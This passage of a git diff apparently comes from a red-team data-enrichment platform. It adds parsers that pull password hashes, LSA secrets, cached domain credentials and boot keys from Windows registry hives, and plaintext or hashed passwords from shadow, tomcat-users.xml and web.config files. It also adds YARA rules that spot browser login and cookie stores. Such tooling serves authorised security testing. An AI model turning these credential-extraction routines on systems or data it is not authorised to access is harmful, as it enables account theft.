logger.exception(e, message="Exception parsing version_info in parse_pe()") + + try: + format_signatures(pe, parsed_data) + except Exception as e: + logger.exception(e, message="Exception parsing signatures in parse_pe()") + + return parsed_data + + except Exception as e: + logger.exception(e, message="Exception parsing PE file", filename=filename) + return helpers.nemesis_parsed_data_error(f"error parsing pe file {filename} : {e}") + + +class pe(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + return helpers.is_pe_extension(self.file_data.path) + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria. + """ + is_pe = helpers.scan_with_yara(self.file_path, "pe") + is_assembly = helpers.is_dotnet_assembly(self.file_path) + + if is_pe: + if is_assembly: + # return False here so the dotnet_assembly module can take precedence + return False + else: + return True + else: + return False + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + return (parse_pe(self.file_path), pb.AuthenticationDataIngestionMessage()) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/reg_hive_sam.py b/cmd/enrichment/enrichment/lib/file_parsers/reg_hive_sam.py new file mode 100644 index 0000000..6dd8228 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/reg_hive_sam.py @@ -0,0 +1,82 @@ +# Standard Libraries +import ntpath +import os +import re + +# 3rd Party Libraries +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb +import structlog +from enrichment.lib.secretsdump import SAMHashes +from Registry import Registry + +logger = structlog.get_logger(module=__name__) + + +class reg_hive_sam(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + return re.search(".*/sam$", self.file_data.path, re.IGNORECASE) is not None + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria. + """ + if os.path.getsize(self.file_path) > 300000000: + return False + + if helpers.get_magic_type(self.file_path).startswith("MS Windows registry file"): + return Registry.Registry(self.file_path).hive_type() == Registry.HiveType.SAM + else: + return False + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + + parsed_data = pb.ParsedData() + + try: + sam = SAMHashes(self.file_path) + + F = sam.getValue(ntpath.join(r"SAM\Domains\Account", "F"))[1] + parsed_data.reg_hive_sam.f_bytes = F + + for userName, rid, encLMHash, encNTHash, newStyle in sam.dumpEnc(): + sam_hash = parsed_data.reg_hive_sam.sam_hashes.add() + sam_hash.new_style = newStyle + sam_hash.username = userName + sam_hash.rid = rid + sam_hash.lm_hash_enc = encLMHash + sam_hash.nt_hash_enc = encNTHash + # NOTE: for decryption later: + # decLMHash = decryptSAMHash(rid, encLMHash, hashedBootKey, False) + # if decLMHash == b'': + # decLMHash = ntlm.LMOWFv1('','') + # decNTHash = decryptSAMHash(rid, encNTHash, hashedBootKey, True) + # if decNTHash == b'': + # decNTHash = ntlm.NTOWFv1('','') + # lmHasStr = hexlify(decLMHash).decode('utf-8') + # ntHashStr = hexlify(decNTHash).decode('utf-8') + # answer = f"{userName}:{rid}:{lmHasStr}:{ntHashStr}:::" + + return (parsed_data, pb.AuthenticationDataIngestionMessage()) + + except Exception as e: + logger.exception(e, message="reg_hive_sam.py parse() error", file_uuid=self.file_data.object_id) + return ( + helpers.nemesis_parsed_data_error(f"error parsing reg_hive_sam file {self.file_data.object_id} : {e}"), + pb.AuthenticationDataIngestionMessage(), + ) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/reg_hive_security.py b/cmd/enrichment/enrichment/lib/file_parsers/reg_hive_security.py new file mode 100644 index 0000000..846929e --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/reg_hive_security.py @@ -0,0 +1,85 @@ +# Standard Libraries +import json +import os +import re + +# 3rd Party Libraries +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +from enrichment.lib.secretsdump import LSASecrets +import nemesispb.nemesis_pb2 as pb +import structlog +from Registry import Registry + +logger = structlog.get_logger(module=__name__) + + +class reg_hive_security(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + return re.search(".*/security$", self.file_data.path, re.IGNORECASE) is not None + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria. + """ + if os.path.getsize(self.file_path) > 300000000: + return False + + if helpers.get_magic_type(self.file_path).startswith("MS Windows registry file"): + return Registry.Registry(self.file_path).hive_type() == Registry.HiveType.SECURITY + else: + return False + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + + parsed_data = pb.ParsedData() + + try: + lsa = LSASecrets(self.file_path) + (vista_style, lsa_sec_key_enc_bytes) = lsa.getLSASecretKeyEnc() + # NOTE: for decryption later: + # lsa_sec_key_dec_bytes = decryptLSA(lsa_sec_key_enc_bytes, boot_key, vista_style) + + parsed_data.reg_hive_security.vista_style = vista_style + parsed_data.reg_hive_security.lsa_secret_key_enc = lsa_sec_key_enc_bytes + + parsed_data.reg_hive_security.nlkm_secret_enc = lsa.getNLKMSecretEnc() + # NOTE: for decryption later: + # nlkm_secret_dec = decryptLSASecret(NKLMKeyEnc, lsa_sec_key_dec_bytes, vista_style, True) + + for (secret_name, secret_enc_bytes) in lsa.dumpSecretsEnc(): + lsa_secret = parsed_data.reg_hive_security.lsa_secrets.add() + lsa_secret.name = secret_name + lsa_secret.value_enc = secret_enc_bytes + # NOTE: for decryption later: + # secret_dec_bytes = decryptLSASecret(secret_enc_bytes, lsa_sec_key_dec_bytes, vista_style) + + for (iteration_count, enc_raw_value) in lsa.dumpCachedHashesEnc(): + cached_entry = parsed_data.reg_hive_security.domain_cached_credentials.add() + cached_entry.iteration_count = iteration_count + cached_entry.enc_raw_value = enc_raw_value + # NOTE: for decryption later: + # dec = decryptCachedEntry(enc_value, nlkm_secret_dec, iteration_count, vista_style) + + return (parsed_data, pb.AuthenticationDataIngestionMessage()) + + except Exception as e: + logger.exception(e, message="reg_hive_security.py parse() error", file_uuid=self.file_data.object_id) + return ( + helpers.nemesis_parsed_data_error(f"error parsing reg_hive_security file {self.file_data.object_id} : {e}"), + pb.AuthenticationDataIngestionMessage() + ) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/reg_hive_system.py b/cmd/enrichment/enrichment/lib/file_parsers/reg_hive_system.py new file mode 100644 index 0000000..059a3b9 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/reg_hive_system.py @@ -0,0 +1,60 @@ +# Standard Libraries +import os +import re + +# 3rd Party Libraries +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb +import structlog +from enrichment.lib.secretsdump import LocalOperations +from Registry import Registry + +logger = structlog.get_logger(module=__name__) + + +class reg_hive_system(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + return re.search(".*/system$", self.file_data.path, re.IGNORECASE) is not None + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria. + """ + if os.path.getsize(self.file_path) > 300000000: + return False + + if helpers.get_magic_type(self.file_path).startswith("MS Windows registry file"): + return Registry.Registry(self.file_path).hive_type() == Registry.HiveType.SYSTEM + else: + return False + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + + parsed_data = pb.ParsedData() + + try: + localOperations = LocalOperations(self.file_path) + parsed_data.reg_hive_system.boot_key = localOperations.getBootKey() + return (parsed_data, pb.AuthenticationDataIngestionMessage()) + + except Exception as e: + logger.exception(e, message="reg_hive_system.py parse() error", file_uuid=self.file_data.object_id) + return ( + helpers.nemesis_parsed_data_error(f"error parsing reg_hive_system file {self.file_data.object_id} : {e}"), + pb.AuthenticationDataIngestionMessage(), + ) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/shadow.py b/cmd/enrichment/enrichment/lib/file_parsers/shadow.py new file mode 100644 index 0000000..ae3d956 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/shadow.py @@ -0,0 +1,101 @@ +# Standard Libraries +import datetime +import os + +# 3rd Party Libraries +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb + + +class shadow(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + return self.file_data.path.lower().endswith("/shadow") + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria. + """ + + if os.path.getsize(self.file_path) > 1000000: + return False + + if self.file_data.magic_type != "ASCII text": + return False + + return helpers.scan_with_yara(self.file_path, "shadow") + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + + parsed_data = pb.ParsedData() + auth_data_msg = pb.AuthenticationDataIngestionMessage() + + try: + auth_data_msg.metadata.CopyFrom(self.metadata) + + with open(self.file_path, "r") as f: + + lines = f.readlines() + + for line in lines: + if line.startswith("#"): + continue + + if line.strip() == "": + continue + + fields = line.split(":") + + if len(fields) < 4: + continue + + # *nix start date, pwd last changed is days since this epoch + start = datetime.datetime.strptime("01/01/70", "%m/%d/%y") + + try: + days = int(fields[2]) + except: + days = 0 + + end = start + datetime.timedelta(days=days) + password_last_changed = end + # password_last_changed = end.strftime("%Y-%m-%dT%H:%M:%S") + + username = fields[0] + password = fields[1] + + if password != "*" and password != "!" and password != "!!" and len(password) > 5: + entry = parsed_data.shadow.entries.add() + entry.username = username + entry.password = password + entry.password_last_changed.FromDatetime(password_last_changed) + + # signal that we do have parsed credentials + parsed_data.has_parsed_credentials = True + + # can't do this because this auth data isn't decrypted - TODO: redo with new hash data + auth_data = auth_data_msg.data.add() + auth_data.data = password + auth_data.type = "hash_crypt" + auth_data.username = username + auth_data.notes = f"credential parsed from file_processor->shadow\nLast Changed: {password_last_changed}" + auth_data.originating_object_id = self.file_data.object_id + + return (parsed_data, auth_data_msg) + + except Exception as e: + return (helpers.nemesis_parsed_data_error(f"error parsing shadow file {self.file_data.object_id} : {e}"), pb.AuthenticationDataIngestionMessage()) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/slack_downloads.py b/cmd/enrichment/enrichment/lib/file_parsers/slack_downloads.py new file mode 100644 index 0000000..7a108fc --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/slack_downloads.py @@ -0,0 +1,84 @@ +# Standard Libraries +import json +import re +from datetime import datetime, timezone + +# 3rd Party Libraries +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb + + +class slack_downloads(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + regex_string = ".*/Slack/storage/slack-downloads$" + return re.search(regex_string, self.file_data.path, re.IGNORECASE) is not None + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria + using the associated Yara rule. + """ + return helpers.scan_with_yara(self.file_path, "slack_downloads") + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage] | pb.ParsedData: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + # build protobuf w/o the actual entries, detect/reprocess on the file side + + parsed_data = pb.ParsedData() + username = helpers.get_username_from_slack_file_path(self.file_path) + + try: + with open(self.file_path, "r") as f: + downloads_json = json.loads(f.read()) + for workspace_id in downloads_json: + downloads = downloads_json[workspace_id] + for download_id in downloads: + + download = downloads[download_id] + download_pb = parsed_data.slack_downloads.downloads.add() + download_pb.username = username + download_pb.workspace_id = workspace_id + download_pb.download_id = download_id + + if "teamId" in download: + download_pb.team_id = download["teamId"] + if "userId" in download: + download_pb.user_id = download["userId"] + if "url" in download: + download_pb.url = download["url"] + if "downloadPath" in download: + download_pb.download_path = download["downloadPath"].replace("\\", "/") + if "downloadState" in download: + download_pb.download_state = download["downloadState"] + if "startTime" in download: + start_time_str = download["startTime"] + epoch = int(start_time_str) / 1000 + start_dt = datetime.fromtimestamp(epoch, tz=timezone.utc) + download_pb.start_time.FromDatetime(start_dt) + if "endTime" in download: + end_time_str = download["endTime"] + epoch = int(end_time_str) / 1000 + end_dt = datetime.fromtimestamp(epoch, tz=timezone.utc) + download_pb.end_time.FromDatetime(end_dt) + + return (parsed_data, pb.AuthenticationDataIngestionMessage()) + + except Exception as e: + return ( + helpers.nemesis_parsed_data_error(f"error parsing 'slack-downloads' file {self.file_data.object_id} : {e}"), + pb.AuthenticationDataIngestionMessage(), + ) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/slack_workspaces.py b/cmd/enrichment/enrichment/lib/file_parsers/slack_workspaces.py new file mode 100644 index 0000000..b4ba373 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/slack_workspaces.py @@ -0,0 +1,67 @@ +# Standard Libraries +import json +import re +from datetime import datetime, timezone + +# 3rd Party Libraries +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb + + +class slack_workspaces(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + regex_string = ".*/Slack/storage/slack-workspaces$" + return re.search(regex_string, self.file_data.path, re.IGNORECASE) is not None + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria + using the associated Yara rule. + """ + return helpers.scan_with_yara(self.file_path, "slack_workspaces") + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage] | pb.ParsedData: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + # build protobuf w/o the actual entries, detect/reprocess on the file side + + parsed_data = pb.ParsedData() + username = helpers.get_username_from_slack_file_path(self.file_path) + + try: + with open(self.file_path, "r") as f: + workspaces_json = json.loads(f.read()) + for workspace_id in workspaces_json: + workspace_data = workspaces_json[workspace_id] + + workspace_pd = parsed_data.slack_workspaces.workspaces.add() + workspace_pd.username = username + workspace_pd.workspace_id = workspace_id + + if "domain" in workspace_data: + workspace_pd.workspace_domain = workspace_data["domain"] + if "name" in workspace_data: + workspace_pd.workspace_name = workspace_data["name"] + if "icon" in workspace_data and "image_original" in workspace_data["icon"]: + workspace_pd.workspace_icon_url = workspace_data["icon"]["image_original"] + + return (parsed_data, pb.AuthenticationDataIngestionMessage()) + + except Exception as e: + return ( + helpers.nemesis_parsed_data_error(f"error parsing 'slack-workspaces' file {self.file_data.object_id} : {e}"), + pb.AuthenticationDataIngestionMessage(), + ) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/sqlite_sample.py b/cmd/enrichment/enrichment/lib/file_parsers/sqlite_sample.py new file mode 100644 index 0000000..2d7a819 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/sqlite_sample.py @@ -0,0 +1,111 @@ +# Standard Libraries +import re +import sqlite3 +from typing import Any, List + +# 3rd Party Libraries +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb +import structlog + +logger = structlog.get_logger(module=__name__) + + +class sqlite_sample(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + if re.match(".*\.(sqlite)$", self.file_data.path): + return True + else: + return False + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria. + """ + return "SQLite 3.x database" in helpers.get_magic_type(self.file_path) + + def _get_tables(self, cursor: sqlite3.Cursor) -> List[str]: + """ + Returns a list of tables in the database. + """ + table_query = "SELECT name FROM sqlite_master WHERE type='table';" + cursor.execute(table_query) + tables = cursor.fetchall() + return [t[0] for t in tables] + + def _get_columns(self, cursor: sqlite3.Cursor, table: str) -> List[str]: + """ + Returns a list of columns in the database. + """ + col_data = cursor.execute(f"PRAGMA table_info({table});").fetchall() + cols = [c[1] for c in col_data] + return cols + + def _get_rows(self, cursor: sqlite3.Cursor, table: str, sample_size: int = 3) -> List[List[Any]]: + """ + Returns a list of rows in the database. + """ + cursor.execute(f"SELECT * FROM {table} LIMIT {sample_size};") + data = cursor.fetchall() + rows = [list(d) for d in data] + return rows + + def _get_sample_data(self) -> dict: + """ + Constructs sample data dictionary from database + """ + ret = {} + + try: + conn = sqlite3.connect(self.file_path) + cursor = conn.cursor() + + tables = self._get_tables(cursor) + for table in tables: + cols = self._get_columns(cursor, table) + rows = self._get_rows(cursor, table) + ret[table] = {"schema": cols, "data": rows} + + conn.close() + return ret + except Exception as e: + logger.exception(e, message="error parsing sqlite database", file_uuid=self.file_data.object_id) + return {} + + def _format_sample_data(self, sample_data: dict) -> str: + """ + Formats the sample data into a human-readable string. + """ + ret = "" + for table, data in sample_data.items(): + ret += f"Table: {table}\n" + ret += f"Schema: {', '.join(data['schema'])}\n" + ret += "Data: \n" + for row in data["data"]: + ret += f"\t{', '.join([str(r) for r in row])}\n" + return ret + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]: + """ + Parses SQLite databases to extract table names, column names, and sample data. + """ + data = self._get_sample_data() + + formatted_data = self._format_sample_data(data) + + parsed_data = pb.ParsedData() + parsed_data.raw_parsed_data.data = formatted_data + + return (parsed_data, pb.AuthenticationDataIngestionMessage()) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/tomcat.py b/cmd/enrichment/enrichment/lib/file_parsers/tomcat.py new file mode 100644 index 0000000..14795bd --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/tomcat.py @@ -0,0 +1,94 @@ +# Standard Libraries +import os +import re +import xml.etree.ElementTree as ET + +# 3rd Party Libraries +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb + + +class tomcat(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + regex_string = ".*/tomcat-users\\.xml$" + return re.search(regex_string, self.file_data.path, re.IGNORECASE) is not None + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria. + """ + if os.path.getsize(self.file_path) > 1000000: + return False + + return helpers.scan_with_yara(self.file_path, "tomcat") + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + + parsed_data = pb.ParsedData() + auth_data_msg = pb.AuthenticationDataIngestionMessage() + + try: + auth_data_msg.metadata.CopyFrom(self.metadata) + + with open(self.file_path, "rb") as f: + + data = f.read() + + try: + roles_iter = ET.fromstring(data).iter("role") + for r in roles_iter: + parsed_data.tomcat.roles.extend([r.attrib["rolename"]]) + except ET.ParseError: + pass + + try: + users_iter = ET.fromstring(data).iter("user") + + for user in users_iter: + entry = parsed_data.tomcat.entries.add() + entry.username = user.attrib["username"] + entry.password = user.attrib["password"] + + if "roles" in user.attrib: + user_roles = user.attrib["roles"].split(",") + entry.roles.extend(user_roles) + user_roles_str = user.attrib["roles"] + else: + user_roles_str = "" + + if entry.password != "": + # signal that we do have parsed credentials + parsed_data.has_parsed_credentials = True + + auth_data = auth_data_msg.data.add() + auth_data.data = entry.password + auth_data.type = "password" + auth_data.username = entry.username + if user_roles_str and user_roles_str != "": + auth_data.notes = f"credential parsed from file_processor->tomcat\nUser roles: {user_roles_str}" + else: + auth_data.notes = "credential parsed from file_processor->tomcat" + auth_data.originating_object_id = self.file_data.object_id + + except ET.ParseError: + pass + + return (parsed_data, auth_data_msg) + + except Exception as e: + return (helpers.nemesis_parsed_data_error(f"error parsing tomcat file {self.file_data.object_id} : {e}"), pb.AuthenticationDataIngestionMessage()) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/web_config.py b/cmd/enrichment/enrichment/lib/file_parsers/web_config.py new file mode 100644 index 0000000..9fed3d9 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/web_config.py @@ -0,0 +1,127 @@ +# Standard Libraries +import os +import re +import xml.etree.ElementTree as ET + +# 3rd Party Libraries +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb +import structlog + +logger = structlog.get_logger(module=__name__) + + +def parenthetic_contents(string): + stack = [] + for i, c in enumerate(string): + if c == "(": + stack.append(i) + elif c == ")" and stack: + start = stack.pop() + s = string[start + 1 : i] + temp = s.split("=") + if len(temp) == 1: + yield (temp[0], "") + else: + yield (temp[0], temp[1]) + + +class web_config(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + regex_string = r".*/.*(web|app).*\.config" + return re.search(regex_string, self.file_data.path, re.IGNORECASE) is not None + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria. + """ + if os.path.getsize(self.file_path) > 1000000: + return False + + return helpers.scan_with_yara(self.file_path, "web_config") + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + + parsed_data = pb.ParsedData() + auth_data_msg = pb.AuthenticationDataIngestionMessage() + + try: + auth_data_msg.metadata.CopyFrom(self.metadata) + tree = ET.parse(self.file_path) + root = tree.getroot() + + for connStrings in root.iter("connectionStrings"): + for entry in connStrings: + try: + connection_string = parsed_data.web_config.connection_strings.add() + connection_string.name = entry.attrib["name"] + if "providerName" in entry.attrib: + connection_string.provider_name = entry.attrib["providerName"] + if "connectionString" in entry.attrib: + connection_string.connection_string = entry.attrib["connectionString"] + + for part in entry.attrib["connectionString"].split(";"): + # special exception for Oracle + temp = part.split(")(") + if len(temp) > 3: + contents = list(parenthetic_contents(part)) + for content in contents: + if content[0].lower() == "host": + connection_string.database_credential.server = content[1] + elif content[0].lower() == "port": + connection_string.database_credential.server = f"{connection_string.database_credential.server}:{content[1]}" + elif content[0].lower() == "service_name": + connection_string.database_credential.database = content[1] + else: + temp = part.split("=") + if len(temp) > 1: + key = temp[0] + value = "=".join(temp[1:]) + if re.match("^(User Id|UID)$", key, re.IGNORECASE): + connection_string.database_credential.username = value + elif re.match("^(Server|HOST|Data Source)$", key, re.IGNORECASE): + connection_string.database_credential.server = value + elif re.match("^(port)$", key, re.IGNORECASE): + connection_string.database_credential.server = f"{connection_string.database_credential.server}:{value}" + elif re.match("^Database$", key, re.IGNORECASE): + connection_string.database_credential.database = value + elif re.match("^(password|PWD)$", key, re.IGNORECASE): + connection_string.database_credential.password = value + if value != "": + # signal that we do have parsed credentials + parsed_data.has_parsed_credentials = True + + if connection_string.database_credential.server and connection_string.database_credential.username and connection_string.database_credential.password: + auth_data = auth_data_msg.data.add() + auth_data.data = connection_string.database_credential.password + auth_data.type = "password" + if connection_string.database_credential.database: + auth_data.uri = f"db://{connection_string.database_credential.server}/{connection_string.database_credential.database}" + else: + auth_data.uri = f"db://{connection_string.database_credential.server}" + auth_data.username = connection_string.database_credential.database + auth_data.notes = "database credential parsed from file_processor->appsettings" + auth_data.originating_object_id = self.file_data.object_id + + except Exception as e: + logger.exception(e, message="web_config.py parse() error") + + return (parsed_data, auth_data_msg) + + except Exception as e: + return (helpers.nemesis_parsed_data_error(f"error parsing .config file {self.file_data.object_id} : {e}"), auth_data_msg) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/appsettings.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/appsettings.yara new file mode 100644 index 0000000..3248134 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/appsettings.yara @@ -0,0 +1,10 @@ +rule is_appsettings +{ + strings: + $str1 = "ConnectionStrings" + $str2 = "JwtToken" + $str3 = "Microsoft.Hosting.Lifetime" + $str4 = "AllowedHosts" + condition: + ($str1 or $str2) and ($str3 or $str4) +} diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_cookies.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_cookies.yara new file mode 100644 index 0000000..4279b6c --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_cookies.yara @@ -0,0 +1,11 @@ +rule is_chromium_cookies +{ + strings: + $header = {53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20} // "SQLite format " + $str1 = "CREATE TABLE cookies" + $str2 = "is_secure" + $str3 = "is_httponly" + $str4 = "last_update_utc" + condition: + $header at 0 and $str1 and $str2 and $str3 and $str4 +} \ No newline at end of file diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_history.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_history.yara new file mode 100644 index 0000000..71f8e8d --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_history.yara @@ -0,0 +1,11 @@ +rule is_chromium_history +{ + strings: + $header = {53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20} // "SQLite format " + $str1 = "CREATE TABLE downloads" + $str2 = "original_mime_type" + $str3 = "last_visit_time" + $str4 = "received_bytes" + condition: + $header at 0 and $str1 and $str2 and $str3 and $str4 +} \ No newline at end of file diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_logins.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_logins.yara new file mode 100644 index 0000000..406a982 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_logins.yara @@ -0,0 +1,11 @@ +rule is_chromium_logins +{ + strings: + $header = {53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20} // "SQLite format " + $str1 = "username_value" + $str2 = "password_value" + $str3 = "stats_origin" + $str4 = "date_password_modified" + condition: + $header at 0 and $str1 and $str2 and $str3 and $str4 +} \ No newline at end of file diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_state_file.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_state_file.yara new file mode 100644 index 0000000..c2a245a --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_state_file.yara @@ -0,0 +1,10 @@ +rule is_chromium_state_file +{ + strings: + $str1 = "last_whats_new_version" + $str2 = "shortcut_migration_version" + $str3 = "os_crypt" + $str4 = "encrypted_key" + condition: + $str1 and $str2 and $str3 and $str4 +} \ No newline at end of file diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/dotnet_assembly.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/dotnet_assembly.yara new file mode 100644 index 0000000..405520a --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/dotnet_assembly.yara @@ -0,0 +1,7 @@ +rule is_dotnet_assembly +{ + strings: + $DOTNET = "mscorlib" ascii + condition: + (uint16(0) == 0x5A4D) and ($DOTNET) +} diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/dpapi_blob.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/dpapi_blob.yara new file mode 100644 index 0000000..cf8b0f3 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/dpapi_blob.yara @@ -0,0 +1,10 @@ +rule has_dpapi_blob +{ + strings: + $dpapi_header = { 01 00 00 00 D0 8C 9D DF 01 15 D1 11 8C 7A 00 C0 4F C2 97 EB } + $dpapi_header_b64_1 = "AAAA0Iyd3wEV0RGMegDAT8KX6" + $dpapi_header_b64_2 = "AQAAANCMnd8BFdERjHoAwE/Cl+" + $dpapi_header_b64_3 = "EAAADQjJ3fARXREYx6AMBPwpfr" + condition: + $dpapi_header or $dpapi_header_b64_1 or $dpapi_header_b64_2 or $dpapi_header_b64_3 +} diff --git 